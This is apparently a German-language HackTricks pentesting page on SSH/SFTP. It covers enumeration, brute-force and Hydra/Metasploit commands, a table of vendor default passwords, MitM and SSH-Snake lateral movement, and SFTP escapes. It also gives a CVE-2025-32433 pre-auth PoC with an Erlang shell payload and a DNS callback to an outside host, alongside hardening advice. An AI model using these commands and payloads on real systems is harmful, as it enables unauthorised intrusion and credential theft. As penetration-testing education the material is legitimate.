22 - Pentesting SSH/SFTP

Reading time: 16 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

SSH (Secure Shell or Secure Socket Shell) ist ein Netzwerkprotokoll, das eine sichere Verbindung zu einem Computer über ein unsicheres Netzwerk ermöglicht. Es ist entscheidend, um die Vertraulichkeit und Integrität von Daten beim Zugriff auf Remote-Systeme sicherzustellen.

Standardport: 22

22/tcp open  ssh     syn-ack

SSH-Server:

  • openSSH – OpenBSD SSH, ausgeliefert in BSD-, Linux-Distributionen und Windows seit Windows 10
  • Dropbear – SSH-Implementierung für Umgebungen mit geringem Speicher- und Prozessorressourcen, in OpenWrt enthalten
  • PuTTY – SSH-Implementierung für Windows; der Client wird häufig verwendet, der Einsatz des Servers ist seltener
  • CopSSH – Implementierung von OpenSSH für Windows

SSH-Bibliotheken (serverseitig implementiert):

  • libssh – Multiplattform-C-Bibliothek, die das SSHv2-Protokoll implementiert, mit Bindings in Python, Perl und R; sie wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
  • wolfSSH – SSHv2-Serverbibliothek in ANSI C geschrieben und für Embedded-, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt
  • Apache MINA SSHD – Apache SSHD Java-Bibliothek basiert auf Apache MINA
  • paramiko – Python-Bibliothek für das SSHv2-Protokoll

Enumeration

bash
nc -vn <IP> 22

Automatisiertes ssh-audit

ssh-audit ist ein Tool zur Konfigurationsprüfung von SSH-Servern und -Clients.

https://github.com/jtesta/ssh-audit ist ein aktualisierter Fork von https://github.com/arthepsy/ssh-audit/

Funktionen:

  • Unterstützung für SSH1- und SSH2-Protokollserver;
  • SSH-Client-Konfiguration analysieren;
  • Banner auslesen, Gerät oder Software und Betriebssystem erkennen, Kompression erkennen;
  • sammelt Key-Exchange-, Host-Key-, Verschlüsselungs- und Message Authentication Code-Algorithmen;
  • gibt Informationen zu Algorithmen aus (seit wann verfügbar, entfernt/deaktiviert, unsicher/schwach/veraltet, usw.);
  • gibt Empfehlungen zu Algorithmen aus (hinzufügen oder entfernen basierend auf erkannter Softwareversion);
  • gibt Sicherheitsinformationen aus (relevante Probleme, zugewiesene CVE-Liste, usw);
  • analysiert SSH-Versionskompatibilität basierend auf Algorithmusinformationen;
  • historische Informationen zu OpenSSH, Dropbear SSH und libssh;
  • läuft unter Linux und Windows;
  • keine Abhängigkeiten
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Öffentlicher SSH-Schlüssel des Servers

bash
ssh-keyscan -t rsa <IP> -p <PORT>

Schwache Verschlüsselungsalgorithmen

Dies wird standardmäßig von nmap erkannt. Sie können aber auch sslcan oder sslyze verwenden.

Nmap scripts

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

In einigen OpenSSH-Versionen kannst du einen timing attack durchführen, um users zu enumerate. Mit einem metasploit module lässt sich das ausnutzen:

msf> use scanner/ssh/ssh_enumusers

Brute force

Einige gängige ssh credentials hier und hier und unten.

Private Key Brute Force

Wenn du einige ssh private keys kennst, die verwendet werden könnten... dann versuchen wir es. Du kannst das nmap-Skript verwenden:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Oder das MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Oder benutze ssh-keybrute.py (native python3, leichtgewichtig und hat Legacy-Algorithmen aktiviert): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Schwache SSH-Keys / Debian vorhersehbarer PRNG

Einige Systeme haben bekannte Schwachstellen im Random-Seed, der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem drastisch reduzierten Schlüsselraum führen, der per Brute-Force angegriffen werden kann. Vorgefertigte Schlüsselsets, die auf Debian-Systemen betroffen vom schwachen PRNG erzeugt wurden, sind hier verfügbar: g0tmi1k/debian-ssh.

Du solltest hier suchen, um gültige Schlüssel für die Zielmaschine zu finden.

Kerberos / GSSAPI SSO

Wenn der Ziel-SSH-Server GSSAPI unterstützt (z. B. Windows OpenSSH auf einem Domain-Controller), kannst du dich mit deinem Kerberos TGT statt mit einem Passwort authentifizieren.

Ablauf auf einem Linux-Angreifer-Host:

bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Hinweise:

  • Wenn Sie sich mit dem falschen Namen verbinden (z. B. kurzer Hostname, Alias oder falsche Reihenfolge in /etc/hosts), kann es zu: "Server not found in Kerberos database" kommen, weil der SPN nicht übereinstimmt.
  • crackmapexec ssh --kerberos kann außerdem Ihr ccache für Kerberos-Auth verwenden.

Standard-Zugangsdaten

VendorBenutzernamenPasswörter
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Wenn Sie sich im lokalen Netzwerk befinden und das Opfer sich mit Benutzername und Passwort mit dem SSH-Server verbinden wird, können Sie versuchen, einen MitM-Angriff durchzuführen, um diese Zugangsdaten zu stehlen:

Angriffspfad:

  • Traffic Redirection: Der Angreifer lenkt den Traffic des Opfers auf seine Maschine um und fängt damit effektiv den Verbindungsversuch zum SSH-Server ab.
  • Interception and Logging: Die Maschine des Angreifers fungiert als Proxy und zeichnet die Login-Daten des Benutzers auf, indem sie sich als legitimer SSH-Server ausgibt.
  • Command Execution and Relay: Schließlich protokolliert der Server des Angreifers die Zugangsdaten des Benutzers, leitet die Befehle an den echten SSH-Server weiter, führt sie dort aus und sendet die Ergebnisse zurück an den Benutzer, sodass der Vorgang nahtlos und legitim erscheint.

SSH MITM macht genau das, was oben beschrieben wurde.

Um das eigentliche MitM durchzuführen, können Sie Techniken wie ARP spoofing, DNS spoofin oder andere in den Network Spoofing attacks beschriebenen Methoden verwenden.

SSH-Snake

Wenn Sie ein Netzwerk mit entdeckten SSH-Private-Keys auf Systemen durchqueren möchten und dabei jeden privaten Schlüssel auf jedem System für neue Hosts verwenden wollen, dann ist SSH-Snake das Richtige für Sie.

SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:

  1. Auf dem aktuellen System alle SSH private keys finden,
  2. Auf dem aktuellen System alle Hosts oder Ziele (user@host) finden, bei denen die privaten Schlüssel akzeptiert werden könnten,
  3. Versuchen, sich mit allen entdeckten privaten Schlüsseln bei allen Zielen per SSH anzumelden,
  4. Wenn eine Verbindung zu einem Ziel erfolgreich ist, wiederholt es die Schritte #1 - #4 auf dem verbundenen System.

Es ist vollständig selbstreplizierend und selbstverbreitend — und komplett fileless.

Fehlkonfigurationen

Root-Login

Es ist üblich, dass SSH-Server standardmäßig Root-Logins erlauben, was ein erhebliches Sicherheitsrisiko darstellt. Das Deaktivieren des Root-Logins ist ein wichtiger Schritt zur Sicherung des Servers. Unbefugter Zugriff mit administrativen Rechten und Brute-Force-Angriffe lassen sich durch diese Änderung mindern.

Um Root-Login in OpenSSH zu deaktivieren:

  1. Editieren Sie die SSH-Konfigurationsdatei mit: sudoedit /etc/ssh/sshd_config
  2. Ändern Sie die Einstellung von #PermitRootLogin yes zu PermitRootLogin no.
  3. Reloaden Sie die Konfiguration mit: sudo systemctl daemon-reload
  4. Starten Sie den SSH-Server neu, um die Änderungen anzuwenden: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

Bei SFTP-Setups tritt häufig eine Fehlkonfiguration auf, bei der Administratoren möchten, dass Benutzer Dateien austauschen können, ohne Shell-Zugriff zu erlauben. Trotz der Vergabe nicht-interaktiver Shells (z. B. /usr/bin/nologin) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. Benutzer können diese Beschränkungen umgehen, indem sie direkt nach dem Login die Ausführung eines Befehls (z. B. /bin/bash) anfordern, bevor ihre nicht-interaktive Shell greift. Das erlaubt unautorisierte Befehlsausführung und untergräbt die vorgesehenen Sicherheitsmaßnahmen.

Example from here:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Hier ein Beispiel für eine sichere SFTP-Konfiguration (/etc/ssh/sshd_config – openSSH) für den Benutzer noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Diese Konfiguration erlaubt nur SFTP: Sie deaktiviert shell access, indem der start command erzwungen und TTY access deaktiviert wird, und schränkt außerdem jegliches port forwarding oder tunneling ein.

SFTP Tunneling

Wenn du Zugriff auf einen SFTP server hast, kannst du deinen traffic auch darüber tunneln, zum Beispiel mittels des üblichen port forwarding:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

Das sftp hat den Befehl "symlink". Daher, wenn du writable rights in einem Ordner hast, kannst du symlinks von anderen Ordnern/Dateien erstellen. Da du wahrscheinlich innerhalb eines chroot gefangen bist, wird das nicht besonders nützlich für dich sein, aber, wenn du von einem no-chroot service aus auf den erstellten symlink zugreifen kannst (zum Beispiel, wenn du vom web auf den symlink zugreifen kannst), könntest du die symlinked files über das web öffnen.

bash
sftp> symlink / froot

Wenn Sie über das Web auf die Datei "froot" zugreifen können, können Sie den Root-Ordner ("/") des Systems auflisten.

Authentifizierungsmethoden

In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren statt der einfachen passwortbasierten Authentifizierung. Oft werden jedoch stärkere Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiger Fall ist das Aktivieren von publickey in der openSSH-Konfiguration und das Setzen als Standardmethode, ohne password zu deaktivieren. Durch die Verwendung des Verbose-Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Wenn beispielsweise ein Limit für fehlgeschlagene Authentifizierungsversuche gesetzt ist und Sie nie die Gelegenheit bekommen, die password-Methode zu erreichen, können Sie die Option PreferredAuthentications verwenden, um die Verwendung dieser Methode zu erzwingen.

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um zu prüfen, dass nur erwartete Methoden autorisiert sind. Die Verwendung des verbose mode auf dem Client kann helfen, die Wirksamkeit der Konfiguration zu sehen.

Konfigurationsdateien

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

Mehrere SSH-Server-Implementierungen enthalten Logikfehler im Authentifizierungs-endlichen Zustandsautomaten, die einem Client erlauben, connection-protocol-Nachrichten vor Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, ob er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu nicht authentifizierter Codeausführung oder zur Erstellung einer Sitzung führen kann.

Auf Protokollebene gehört jede SSH-Nachricht mit einem message code ≥ 80 (0x50) zur connection-Schicht (RFC 4254) und darf erst nach erfolgreicher Authentifizierung akzeptiert werden (RFC 4252). Verarbeitet der Server eine dieser Nachrichten, während er sich noch im SSH_AUTHENTICATION-Zustand befindet, kann der Angreifer sofort einen Channel erstellen und Aktionen wie Kommandoausführung, Port-Forwarding, etc. anfordern.

Generische Ausnutzungsschritte

  1. Stelle eine TCP-Verbindung zum SSH-Port des Ziels her (üblich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… anbieten).
  2. Erzeuge ein rohes SSH-Paket:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload, die vom gewählten Nachrichtentyp interpretiert wird
  1. Sende das/die Paket(e) bevor irgendwelche Authentifizierungsschritte abgeschlossen sind.
  2. Interagiere mit den Server-APIs, die jetzt pre-auth exponiert sind (Kommandoausführung, Port-Forwarding, Dateisystemzugriff, …).

Python proof-of-concept outline:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

In der Praxis müssen Sie den Key-Exchange je nach Zielimplementation durchführen (oder überspringen), aber keine Authentifizierung wird jemals durchgeführt.


Erlang/OTP sshd (CVE-2025-32433)

  • Betroffene Versionen: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Ursache: Der native Erlang SSH-Daemon validiert den aktuellen Zustand nicht, bevor er ssh_connection:handle_msg/2 aufruft. Daher erreicht jedes Paket mit einem Message-Code 80-255 den Connection-Handler, während die Sitzung sich noch im userauth-Zustand befindet.
  • Auswirkung: unauthentifizierte remote code execution (der Daemon läuft normalerweise als root auf Embedded/OT-Geräten).

Beispiel-Payload, die eine reverse shell startet, gebunden an den vom Angreifer kontrollierten Channel:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection kann über DNS durchgeführt werden:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Erkennung & Gegenmaßnahmen:

  • Überwache SSH-Verkehr: verwerfe jedes Paket mit Nachrichten-Code ≥ 80, das vor der Authentifizierung beobachtet wird.
  • Aktualisiere Erlang/OTP auf 27.3.3 / 26.2.5.11 / 25.3.2.20 oder neuer.
  • Beschränke die Exponierung von Management-Ports (22/2022/830/2222) – insbesondere bei OT-Geräten.

Andere betroffene Implementierungen

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – akzeptiert ein nicht authentifiziertes SSH_MSG_USERAUTH_SUCCESS, das vom Client gesendet wurde; effektiv ein umgekehrter Logikfehler.

Die gemeinsame Lehre ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; beim Überprüfen oder Fuzzing von SSH-Daemons ist besondere Aufmerksamkeit auf Durchsetzung der Zustandsmaschine zu richten.

Referenzen

HackTricks Automatische Befehle

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks